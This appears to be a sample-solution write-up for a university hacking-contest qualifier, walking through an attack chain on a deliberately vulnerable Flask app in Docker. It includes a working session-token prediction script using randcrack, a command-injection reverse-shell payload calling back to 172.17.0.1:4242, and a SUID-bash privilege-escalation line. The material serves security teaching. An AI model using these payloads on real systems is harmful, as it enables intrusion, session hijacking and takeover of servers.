Write-Up Registration Challenge Hacker Contest Summer 2025

4. June 2025

During summer semester of 2025, our "Hacker Contest" will be held again Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students have the chance to get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems.

As in every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.

If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester 2025 Hacker Contest Challenge.

Table of Contents

  • Scenario
  • Challenge
  • Vulnerabilities

Scenario

A good friend has asked you to check his self-written website for potential vulnerabilities. He will make it available to you as a Docker container. After your approval, he wants to install the container on a Linux server with a public IP.

Challenge

The Challenge provides the docker container which hosts a basic flask web application. Your task is to discover and exploit multiple vulnerabilities and put them into a meaningful attack chain to obtain root access on the docker container.

Vulnerabilities

1. Insecure Randomness used for Session Token generation

By examining the way how the application creates session tokens, we see that it uses the getrandbits() function of the python library random which is known to be insecure cryptographically.

webapp/app.py:136

[...]
    session = f"{getrandbits(128):032x}"
    in_one_hour = int(time.time()) + SESSION_LIFETIME

    commit_db("UPDATE users SET session = ?, session_valid_until = ? WHERE username = ?", [session, in_one_hour, username])

    response = jsonify({"success": True})
    response.set_cookie("session", session, samesite='strict')
    return response
[...]
```

Using the following script we can exploit the non randomness of getrandbits():

from randcrack import RandCrack
import requests
from tqdm import tqdm
from secrets import token_hex


TARGET = "http://localhost:1337"

username = token_hex(10)

resp = requests.post(TARGET + "/api/register", json={"username": username, "password": username})



rc = RandCrack()
for _ in tqdm(range(624 // 4)):
    resp = requests.post(TARGET + "/api/login", json={"username": username, "password": username})
    session = int(resp.cookies["session"], 16)
    for _ in range(4):
        rc.submit(session & 0xffffffff)
        session >>= 32


print(f"Wait until moderator logged in again. Then use this session: {rc.predict_getrandbits(128):032x}")

The exploit script logs in as unprivileged user to obtain a valid session token. Then it utilizes the randcrack library to predicting the next token that will be generated.
Following we wait for a moment until the moderator user authenticates against the web application. Then we can hijack his session via the token generated by the exploit.

2. Command Injection in Admin Panel

After we obtained the privileged session, we now have access to the admin functions of the website. Here we discovered a command injection in the /api/admin/logs endpoint due to missing input sanitation of user controlled data of the unit parameter.

webapp/app.py:171-182:

@app.route('/api/admin/logs', methods=['POST'])
@only_admin
@api_guard
def get_logs():
    data = request.json
    unit = data.get("unit")

    if unit:
        unit_flag = f"-u {unit}"
    else:
        unit_flag = ""

    data = os.popen(f"journalctl -n 100 --reverse --no-pager {unit_flag} -o json-seq").read()

With the command injection we can supply a payload that executes a reverse shell via python that connects to our attacker system.

Injected python reverse shell payload:

; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' #

3. Privilege Escalation using moderator

Now we gained shell access to the Docker container under the web user. Looking further to escalate our privileges we see that the file moderator.py is writable by our current user.

Execute the following command via the rev shell in order to write a payload into the file of the web application that will be executed when moderator is started again:
echo -e 'import os; os.system("chmod +s /bin/bash")' >> moderator.py

Now the /bin/bash binary has the SUID bit set. Executing bash -p yields a shell with euid=0 and hence we obtained root privileges with this full attack chain.

Also interesting:

Security Advisories on hugocms and Gitea

The pentest professionals at usd HeroLab examined hugocms and Gitea during their pentests. Thereby, several vulnerabilities were identified. The vulnerabilities were reported to...

read more

Security Advisory on AXIS Webcam

The pentest professionals at usd HeroLab examined the AXIS Webcam (P1364) during their pentests. Our professionals discovered a vulnerability (cross-site request forgery) in the...

read more